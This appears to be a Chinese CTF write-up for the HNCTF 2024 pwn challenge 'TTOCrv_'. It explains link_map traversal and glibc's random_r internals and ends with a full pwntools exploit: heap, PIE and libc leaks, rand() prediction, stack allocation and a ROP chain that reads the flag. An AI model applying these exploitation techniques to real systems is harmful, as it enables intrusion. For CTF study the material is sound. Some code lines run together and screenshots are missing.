struct link_map{/* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ElfW(Addr) l_addr;          /* Difference between the address in the ELF file and the addresses in memory. */char *l_name;               /* Absolute file name object was found in. */ElfW(Dyn) *l_ld;            /* Dynamic section of the shared object. */struct link_map *l_next, *l_prev; /* Chain of loaded objects. */};

遍历link_map,对比l_name,找到目标之后,就可以通过l_addr获得那个库的基址,当然,前提是二进制文件需要有DT_DEBUG。
通过show,先泄露r_debug地址(ld地址), 遍历linkmap寻找后发现libc的link_map与泄露的ld地址有固定偏移,然后计算偏移,下次show即可泄露(感觉泄露libc地址直接输出got表就行)

随机数

  • struct random_data *buf: 包含随机数生成器状态的结构体。
  • int32_t *result: 指向存储生成的随机数的变量。

int
__random_r (struct random_data *buf, int32_t *result)
{int32_t *state;if (buf == NULL || result == NULL)goto fail;state = buf->state;if (buf->rand_type == TYPE_0){int32_t val = ((state[0] * 1103515245U) + 12345U) & 0x7fffffff;state[0] = val;*result = val;}else{int32_t *fptr = buf->fptr;int32_t *rptr = buf->rptr;int32_t *end_ptr = buf->end_ptr;uint32_t val;val = *fptr += (uint32_t) *rptr;/* Chucking least random bit.  */*result = val >> 1;++fptr;if (fptr >= end_ptr){fptr = state;++rptr;}else{++rptr;if (rptr >= end_ptr)rptr = state;}buf->fptr = fptr;buf->rptr = rptr;}return 0;fail:__set_errno (EINVAL);return -1;
}weak_alias (__random_r, random_r)#define	TYPE_3		3
#define	BREAK_3		128
#define	DEG_3		31
#define	SEP_3		3static struct random_data unsafe_state ={
/* FPTR and RPTR are two pointers into the state info, a front and a rearpointer.  These two pointers are always rand_sep places apart, as theycycle through the state information.  (Yes, this does mean we could getaway with just one pointer, but the code for random is more efficientthis way).  The pointers are left positioned as they would be from the call:initstate(1, randtbl, 128);(The position of the rear pointer, rptr, is really 0 (as explained abovein the initialization of randtbl) because the state table pointer is setto point to randtbl[1] (as explained below).)  */.fptr = &randtbl[SEP_3 + 1],.rptr = &randtbl[1],/* The following things are the pointer to the state information table,the type of the current generator, the degree of the current polynomialbeing used, and the separation between the two pointers.Note that for efficiency of random, we remember the first location ofthe state information, not the zeroth.  Hence it is valid to accessstate[-1], which is used to store the type of the R.N.G.Also, we remember the last location, since this is more efficient thanindexing every time to find the address of the last element to see ifthe front and rear pointers have wrapped.  */.state = &randtbl[1],.rand_type = TYPE_3,.rand_deg = DEG_3,.rand_sep = SEP_3,.end_ptr = &randtbl[sizeof (randtbl) / sizeof (randtbl[0])]
};

参考汇编和源码后大致逻辑如下

  1. rand_type默认为TYPE_3,故不是直接采用线性同余产生随机数
  2. 队头fptr 自加队尾值rptr ,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。(fptr刚开始为第4个,总共32个,所以需要调用rand很多次才可能进入fptr >= end_ptr,所以当前edit可以认为都是else情况)

调用一次rand后fptr 和rptr 都后移四
在这里插入图片描述
这里泄露fptr 和rptr 和fptr +0x10的内容(正好八个)

思路

  1. size是0x90,free一个,然后show可以泄露heap地址
  2. nouse输满\xff,然后show负越界泄露pie地址,进而能够得到heap_list的起始地址
    在这里插入图片描述
  3. 然后show正越界泄露r_debug地址(也可以直接泄露got内的libc地址),然后根据r_debug地址偏移得到libc的link_map地址所在的地址,再得到和pie上的heap_list的偏移来show泄露libc地址
  4. 然后根据libc地址得到&randtbl[1+3]所在的地址和&randtbl[1]的地址所在的地址(unsafe_state 中有即&unsafe_state 和&unsafe_state +8),然后show泄露randtbl的内容(fptr 和rptr 和fptr +0x10的内容,每个泄露四个 泄露environ栈地址同理)或者也可以用edit_name写libc地址和show负越界来泄露
  5. 然后根据rand函数和泄露的randtbl来绕过rand在这里插入图片描述
    然后每次rand后会将fptr当前值和rptr当前值相加给fptr,由于fptr的数组和rptr的数组都是一直往右走的,由于我们最后输入八个字节到heap的next区域,所以此时根据处理函数会进行循环两次,总共八次rand,fptr和rptr移动八次,fptr这里是够的,所以最后更新的相加的值加到rptr后面
    在这里插入图片描述
  6. 最后分配到将栈地址进行相关rand处理,然后分配到栈上去,注意选择栈地址要保证对齐,不断往小尝试,这里将分配到read函数的返回地址所在的栈的位置处
    . 在这里插入图片描述
    . 在这里插入图片描述
    这里直接利用read函数残留的寄存器再次调用read的系统调用,而且地址就是刚刚调用过的

在这里插入图片描述
然后再次调用read先填充之前的,直到当前的ret对应的返回地址才开始rop
在这里插入图片描述

exp

from pwn import *s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))context.arch      = 'amd64'
context.log_level = 'debug'binary = './pwn'
libelf = ''if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary);libc = elf.libc
if (libelf!=''): libc = ELF(libelf)gdbscript = '''
#continue
'''.format(**locals())io = process("./pwn")def add(idx):ru('>>>')s(p32(0x48260A))ru('idx:')s(p8(idx))def edit(idx,text):ru('>>>')s(p32(0x4E430A))ru('idx:')s(p8(idx))ru('input: ')s(text)def show(idx):ru('>>>')s(p32(0x54460A))ru('idx:')s(p64(idx)[:-1])ru('ciphertext: ')def rm(idx):ru('>>>')s(p32(0x7B7D0A))ru('idx:')s(p8(idx))def edit_name(name):ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x65646974))ru(': ')s(name)def show_name():ru('>>>')s(p32(0x50460A))ru('>>> ')s(p32(0x73686F77))def backdoor(text):ru('>>>')s(p32(0x62640A))s(text)def rdata():ru('=============================\n')data = bytes.fromhex(rl().decode().replace(' ',''))return dataadd(0)
add(1)
rm(0)
rm(1)show(0)
data = rdata()
key  = uu64(data[:8])
heap_addr = key << 0xClss('heap_addr')backdoor('\xff'*0x38)show((1<<64)-0x13)elf_base = uu64(rdata()[:8]) - 16392heap_list = elf_base + 0x40A0
lss('heap_list')show(1068)libc_ptr= uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558lss('libc_ptr')# leak libc_base
offset = (libc_ptr - heap_list) // 8
show(offset)
libc_base  = uu64((rdata()[:8]))
lss('libc_base')print("libc",libc_base)ptr1 = libc_base + 2205792 #   &randtbl[1+3]
ptr2 = libc_base + 2205792 + 8 # &randtbl[1]
lss('ptr1')
lss('ptr2')
offset = (ptr1 - heap_list) // 8show(offset) # randtbl[1+3] 4 content
data1  = rdata()offset = (ptr2 - heap_list) // 8show(offset) # randtbl[1] 4 content
data2  = rdata()print("data1",data1)
print("data2",data2)environ = libc_base + libc.sym['environ']
offset = libc_base + 2204196 # unsafe_state
lss('environ')
lss('offset')
name = p64(offset) + p64(environ)[:-2]
edit_name(name)backdoor('\xff'*0x38)
show((1<<64)-0xC)
data3  = rdata()
print(data3) # randtbl[1+3+4] 4 contentbackdoor('\xff'*0x38)
show((1<<64)-0xb)
stack  = uu64(rdata()[:8]) - 8 # name+8lss('stack')edx = [ uu32(data1[_:_+4]) for _ in range(0,len(data1),4)]
ecx = [ uu32(data2[_:_+4]) for _ in range(0,len(data2),4)]tmp = [ uu32(data3[_:_+4]) for _ in range(0,len(data3),4)]
print(ecx)
print(edx)
print(tmp)edx += tmpunsafe_state = 0
def me_rand(): # 直接gdb 跟进 rand() 看看随机数是怎么生成的,global unsafe_statei = unsafe_stateprint(ecx)print(edx)ecx_ = ecx[i]edx_ = edx[i]eax = ecx_ + edx_eax = eax & 0xFFFFFFFFprint('add',eax)ecx.append(1)ecx[i+3] = eaxeax = eax >> 1eax = eax & 0xFFFFFFFFprint(hex(eax))unsafe_state += 1return eax
#队头自加队尾值,将此值保存为结果,然后队头队尾统一后移一项,再将结果作为生成的随机数返回即可。def encrypto(eax):v5 = me_rand() % 703710v6 = me_rand() ^ v5v2 = (v6 + me_rand() + v5) & 0xFFFFFFFFeax ^= v2 - me_rand()return eaxret_stack = ((stack-0x190)^ key)
low  = encrypto(ret_stack & 0xFFFFFFFF)
high = encrypto(ret_stack >> 32 ) << 32expdata = high + lowprint(expdata)gdb.attach(io)edit(1,p64(expdata))add(2)
add(3)pause()
rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
rdx = libc_base + 0x000000000011f2e7 # pop rdx ; pop r12 ; ret
rdi = libc_base + 0x2a3e5 # pop rdi ; ret
rsi = libc_base + 0x02be51 # pop rsi ; ret
syscall = libc_base + libc.sym['read'] + 16 # syscallpay  =  b"a"*0x28
pay += p64(rax) + p64(0)    # 0x38
pay += p64(rdx) + p64(0x1000)*2 # 0x50
pay += p64(syscall)
edit(3,pay)# #define __NR_openat2 437flag_addr = stack-0x68pay  = b'b' * 0x58 #
pay += p64(rax) + p64(0x101) + p64(rdi) + p64(rax) + p64(0x101) + p64(rdi)+p64(0xffffffffffffff9c) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) * 2 + p64(syscall)
pay += p64(rdi) + p64(3) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['read'])
pay += p64(rdi) + p64(1) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0x100) * 2 + p64(libc_base + libc.sym['write'])
pay += b'./flag'.ljust(0x8,b'\x00')sl(pay)
io.interactive()

在这里插入图片描述

相关文章:

2024 HNCTF PWN(hide_flag Rand_file_dockerfile Appetizers TTOCrv_)

文章目录 参考hide_flag思路exp Rand_file_dockerfile libc 2.31思路exp Appetizers glibc 2.35绕过关闭标准输出实例客户端 关闭标准输出服务端结果exp TTOCrv_&#x1f3b2; glibc 2.35逆向DT_DEBUG获得各个库地址随机数思路exp 参考 https://docs.qq.com/doc/p/641e8742c39…...

《昇思25天学习打卡营第25天|第14天》

今天是打卡的第十四天&#xff0c;今天学习的是应用实践中的热门LLM及其他AI应用的K近邻算法实现红酒分类篇。这一片主要介绍使用MindSpore在部分wine数据集上进行KNN实验&#xff0c;对实验的步骤的介绍&#xff1a;K近邻算法原理介绍&#xff08;分类问题、回归问题和距离的定…...

Easysearch、Elasticsearch、Amazon OpenSearch 快照兼容对比

在当今的数据驱动时代&#xff0c;搜索引擎的快照功能在数据保护和灾难恢复中至关重要。本文将对 EasySearch、Elasticsearch 和 Amazon OpenSearch 的快照兼容性进行比较&#xff0c;分析它们在快照创建、恢复、存储格式和跨平台兼容性等方面的特点&#xff0c;帮助大家更好地…...

数据分析入门指南:数据库入门(五)

本文将总结CDA认证考试中数据库中部分知识点&#xff0c;内容来源于《CDA模拟题库与备考资料PPT》 。 CDA认证&#xff0c;作为源自中国、面向全球的专业技能认证&#xff0c;覆盖金融、电信、零售、制造、能源、医疗医药、旅游、咨询等多个行业&#xff0c;旨在培养能够胜任数…...

Logback日志异步打印接入指南,输出自定义业务数据

背景 随着应用的请求量上升&#xff0c;日志输出量也会成线性比例的上升&#xff0c;给磁盘IO带来压力与性能瓶颈。应用也遇到了线程池满&#xff0c;是因为大量线程卡在输出日志。为了缓解日志同步打印&#xff0c;会采取异步打印日志。这样会引起日志中的追踪id丢失&#xf…...

将iPad 作为Windows电脑副屏的几种方法(二)

将iPad 作为Windows电脑副屏的几种方法&#xff08;二&#xff09; 1. 前言2. EV 扩展屏2.1 概述2.2 下载、安装、连接教程2.3 遇到的问题和解决方法2.3.1 平板连接不上电脑 3. Twomon SE3.1 概述3.2 下载安装教程 4. 多屏中心&#xff08;GlideX&#xff09;4.1 概述4.2 下载安…...

[word] word表格跨页断开实现教程 #职场发展#媒体

word表格跨页断开实现教程 选中整个word表格 单击鼠标右键&#xff0c;选择“表格属性”选项 切换至“行”标签&#xff0c;找到“允许跨页断行”选项 勾选上“允许跨页断行”&#xff0c;单击“确定”按钮&#xff0c;完成&#xff01; word表格跨页断开实现教程的下载地址&a…...

《Linux运维总结:基于ARM64架构CPU使用docker-compose一键离线部署单机版tendis2.4.2》

总结&#xff1a;整理不易&#xff0c;如果对你有帮助&#xff0c;可否点赞关注一下&#xff1f; 更多详细内容请参考&#xff1a;《Linux运维篇&#xff1a;Linux系统运维指南》 一、部署背景 由于业务系统的特殊性&#xff0c;我们需要面对不同的客户部署业务系统&#xff0…...

【Apache Doris】周FAQ集锦:第 14 期

【Apache Doris】周FAQ集锦&#xff1a;第 14 期 SQL问题数据操作问题运维常见问题其它问题关于社区 欢迎查阅本周的 Apache Doris 社区 FAQ 栏目&#xff01; 在这个栏目中&#xff0c;每周将筛选社区反馈的热门问题和话题&#xff0c;重点回答并进行深入探讨。旨在为广大用户…...

Log4j的原理及应用详解(四)

本系列文章简介&#xff1a; 在软件开发的广阔领域中&#xff0c;日志记录是一项至关重要的活动。它不仅帮助开发者追踪程序的执行流程&#xff0c;还在问题排查、性能监控以及用户行为分析等方面发挥着不可替代的作用。随着软件系统的日益复杂&#xff0c;对日志管理的需求也日…...

农田自动化闸门的结构组成与功能解析

在现代化的农业节水灌溉领域中&#xff0c;农田自动化闸门的应用越来越广泛。它集成了先进的技术&#xff0c;通过自动化控制实现水资源的精准调度和高效利用。本文将围绕农田自动化闸门的结构组成&#xff0c;详细介绍其各个部件的功能和特点。 农田自动化闸门主要由闸门控制箱…...

Python解释器:CPython 解释器

一、什么是python解释器 Python解释器是一种用于执行Python代码的程序。 它将Python源代码转换为机器语言或字节码&#xff0c;从而使计算机能够执行。 1.1 Python解释器分类 1、CPython CPython 是 Python 的主要实现&#xff0c;由 C 语言编写。大多数用户在日常开发中使…...

layui 让table里的下拉框不被遮挡

记录&#xff1a;layui 让table里的下拉框不被遮挡 /* 这个是让table里的下拉框不被遮挡 */ .goods_table .layui-select-title,.goods_table .layui-select-title input{line-height: 28px;height: 28px; }.goods_table .layui-table-cell {overflow: visible !important; }.…...

【性能优化】在大批量数据下使用 HTML+CSS实现走马灯,防止页面卡顿

切换效果 页面结构变化 1.需求背景 项目首页存有一个小的轮播模块,保密原因大概只能这么展示,左侧图片右侧文字,后端一次性返回几百条数据(开发环境下,生产环境只会更多).无法使用分页解决,前端需要懒加载防止页面卡顿 写个小demo演示,如下 2.解决思路 获取到数据后,取第一…...

https和http区别

1、安全性 HTTP信息是明文传输&#xff0c;而HTTPS则通过SSL/TLS协议进行加密传输&#xff0c;确保数据传输的安全性。HTTPS可以验证服务器身份&#xff0c;防止中间人攻击&#xff0c;保护数据的完整性和保密性。 2、端口号 HTTP默认使用80端口&#xff0c;而HTTPS默认使用…...

SD-AI大模型的安装

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 ☁️运维工程师的职责&#xff1a;监…...

UDP-如何实现客户端与服务器端的通信(一对一、一对多、多对一、多对多之间的通信)

Java中提供了DatagramSocket来实现这个功能 1.服务器端的程序 创建Socket&#xff0c;监听6666端口读取来自客户端的“数据包”,创建数据包(通过DatagramPacket实现数据包的创建)接收数据包从数据包中&#xff0c;读取数据(通过recieve()接收数据和send()发送给数据) 代码如下…...

C++那些事之依赖注入

C那些事之依赖注入 最近星球里面有个小伙伴让更新一下依赖注入&#xff0c;于是写出了这篇文章&#xff0c;来从实际的例子讲解&#xff0c;本文会讲解一些原理与实现&#xff0c;完整的实现代码懒人版放在星球中&#xff0c;我们开始正文。 大纲&#xff1a; 直接依赖接口依赖…...

克隆的TrinityCore服务器网速慢卡顿问题的解决(未解决)

一台TrinityCore服务器&#xff0c;采用的是备份克隆安装的方式&#xff0c;在FreeBSD bhyve 中安装Ubuntu&#xff0c;安装细节见如下两篇文档&#xff1a;尝试在FreeBSD 的jail、bhyve里安装TrinityCore-CSDN博客 备份和镜像TrinityCore_魔兽世界 updating auth database...…...

独立站外链如何影响搜索引擎排名?

独立站的外链对搜索引擎排名有着非常重要的影响。简单来说&#xff0c;外链就像是别的网站对你的网站投的信任票。每一条外链都告诉搜索引擎&#xff1a;“这个网站的内容是有价值的&#xff0c;值得推荐。”因此&#xff0c;外链的数量和质量直接影响你的网站在搜索引擎中的排…...

java设计模式:03-04-装饰器模式

装饰器模式&#xff08;Decorator Pattern&#xff09; 装饰器模式&#xff08;Decorator Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许向一个现有的对象添加新的功能&#xff0c;同时又不改变其结构。装饰器模式通过创建一个装饰类来包装原有的类&#xff0c;…...

通过splunk web服务将服务器上文件下载到本地

1. 需求说明 工作中经常遇到需要将服务器上的文件下载到本地&#xff0c;但是由于各种网络环境限制&#xff0c;没办法使用winscp或者xftp工具&#xff0c;那么如何将服务器上的文件下载下来呢&#xff1f; 这里提供一种思路: 如果服务器上安装有web服务&#xff0c;可将待下…...

Node.js 路由

Node.js 路由 介绍 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,它允许开发者使用 JavaScript 编写服务器端代码。Node.js 的一个核心特性是其事件驱动和非阻塞 I/O 模型,这使得它非常适合处理高并发和 I/O 密集型的应用程序。在 Node.js 中,路由是指确定应…...

Adobe国际认证详解-网页设计认证专家行业应用场景解析

在当今数字化时代&#xff0c;网页设计已成为各行各业不可或缺的一环。而网页设计认证专家&#xff0c;作为经过Adobe国际认证体系严格考核的专业人才&#xff0c;正逐渐成为行业内炙手可热的存在。他们凭借深厚的网页设计理论基础和实践经验&#xff0c;为各行各业提供了高质量…...

ESC(ELectronic Stability Control,电子稳定控制系统)

ESC通过实时监测车辆的动态参数&#xff0c;以及车辆轮胎的实际运动状态&#xff0c;通过调节车辆制动系统和发动机输出力&#xff0c;使车辆在紧急或危险情况下保持稳定&#xff0c;防止侧滑和失控。 ESC组成部分 传感器&#xff1a;用于检测车辆的动态参数&#xff0c;如车…...

减分兔搜题-12123学法减分20题目及答案 #媒体#职场发展

对于即将参加驾驶考试的朋友来说&#xff0c;掌握一些经典题目和答案至关重要。今天&#xff0c;我就为大家带来了这样一份干货——20道驾驶考试题目和答案&#xff0c;助你轻松应对考试&#xff01;这些题目不仅包括了考试中常考的内容&#xff0c;还有针对难点和重点的详细解…...

java用freemarker导出word

freemarker导出word 第一步、将word转换为xml格式第二步、将转换后的xml文件修改后缀为ftl后复制到项目 resources 目录下&#xff08;可以自己新建一个文件夹放在文件夹中&#xff09;第三步、格式化xml代码&#xff08;如果问价太大可能会无法格式化&#xff09;这时候需要在…...

CH01_WPF概述

第1章&#xff1a;WPF概述 本章目标 了解Windows图形演化了解WPF高级API了解分辨率无关性概念了解WPF体系结构了解WPF 4.5 WPF概述 ​ 欢迎使用 Windows Presentation Foundation (WPF) 桌面指南&#xff0c;这是一个与分辨率无关的 UI 框架&#xff0c;使用基于矢量的呈现引…...

秒懂设计模式--学习笔记(11)【结构型-享元模式】

目录 10、享元模式10.1 享元模式10.2 举例10.2.1 马赛克10.2.2 游戏地图&#xff08;以草原地图作为范例&#xff09; 10.3 总结 10、享元模式 10.1 享元模式 “享元”则是共享元件的意思享元模式的英文flyweight是轻量级的意思&#xff0c;这就意味着享元模式能使程序变得更…...

Python爬虫——1爬虫基础(一步一步慢慢来)

一、爬虫是什么&#xff1f; &#xff08;spider&#xff09; Python 爬虫是利用编程语言 Python 来获取互联网上的数据的技术。它可以自动化地访问网页、提取信息并进行数据处理。以下是Python爬虫的基础知识和步骤&#xff1a; 主要特点和功能&#xff1a; 自动化浏览&#…...

微信知彼网络网站建设/dw友情链接怎么设置

最近几年&#xff0c;在DDD的领域&#xff0c;我们经常会看到CQRS架构的概念。我个人也写了一个ENode框架&#xff0c;专门用来实现这个架构。CQRS架构本身的思想其实非常简单&#xff0c;就是读写分离。是一个很好理解的思想。就像我们用MySQL数据库的主备&#xff0c;数据写到…...

国外唯美flash个人网站欣赏/it培训机构怎么样

0.参考文献1.HashSet概述&#xff1a;HashSet实现Set接口&#xff0c;由哈希表(实际上是一个HashMap实例)支持。它不保证set 的迭代顺序&#xff1b;特别是它不保证该顺序恒久不变。此类允许使用null元素。HashSet中不允许有重复元素&#xff0c;这是因为HashSet是基于HashMap实…...

网站信息向上滚动标签/网页推广怎么做

本文讲解了了AIDL的使用以及Binder通信机制在JAVA层的理解&#xff0c;native层的Binder架构以及binder驱动原理见后续文章的分析。 Binder通信机制&#xff1a;是Android中使用最广泛的进程间通信&#xff08;Inter-Process Communication, IPC&#xff09;机制&#xff0c;是…...

龙游网站制作/地域名网址查询

关于ABAP中处理字符串的方法&#xff0c;非常详细&#xff0c;学习过程中总结一下分享给大家&#xff0c;&#xff0c;&#xff0c;ABAP/4 提供多个处理类型 C 即字符串 的数据对象的关键字。处理字符串 的方法有&#xff1a;1.拆分字符串split2.连接字符串3.获得字符串长度4.压…...

山西做网站的公司哪个好/广告开户南京seo

二维平面作图 ? 三维空间作图 ? 符号作图 ? Matlab 绘图过程/原理 2 手工作图如何画出 数学软件 Matlab —— 二维平面作图 —— 三维空间作图 1 本讲主要内容......是通过描点、连线来实现的,故在 画一个曲线图形之前,必须先取得该图形上的 一系列的点的坐标(即横坐标和纵坐…...

美国纽约网站建设费用/今日头条新闻视频

实现Servlet的三种方式&#xff1a;一个实现&#xff0c;两个继承 /* * servlet的执行过程&#xff1a; * 1.创建servlet对象&#xff08;Tomcat执行&#xff09; * 2.第一次访问servlet时执行 * init()方法 该方法只执行一次 * service()方法 * 3.之后每访问一次 就执行一次se…...